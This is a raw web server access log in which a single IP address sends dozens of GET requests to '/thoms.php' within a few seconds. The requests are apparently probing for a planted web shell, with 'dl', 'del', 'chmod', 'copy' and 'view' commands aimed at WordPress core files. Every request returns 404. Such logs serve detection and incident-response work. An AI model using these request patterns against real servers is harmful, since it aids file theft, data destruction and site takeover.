45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fload.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fload.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frobots-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frobots-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?del=blocks&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=blocks&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:51 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?chmod=cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?dl=class-IXR.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-IXR.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?dl=comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?dl=compat-utf8.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?del=comment.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-pop3.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-pop3.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-url-pattern-prefixer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:52 -0400] "GET /thoms.php?dl=meta.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?dl=class-phpass.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?del=pluggable.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?dl=revision.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?del=wp-db.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?del=rss.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rss.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?del=block-editor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:53 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?del=cron.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cron.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?dl=template-canvas.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ferror_log&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ferror_log&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-files.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-files.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?del=rewrite.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?dl=category-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=category-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?dl=admin-bar.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-snoopy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-snoopy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fgeneral-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fgeneral-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-rss.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ffeed-rss.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?dl=general-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=general-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:54 -0400] "GET /thoms.php?del=abilities.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?del=class-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?dl=embed-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme-templates.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ftheme-templates.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?chmod=compat.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpluggable.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fpluggable.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:55 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
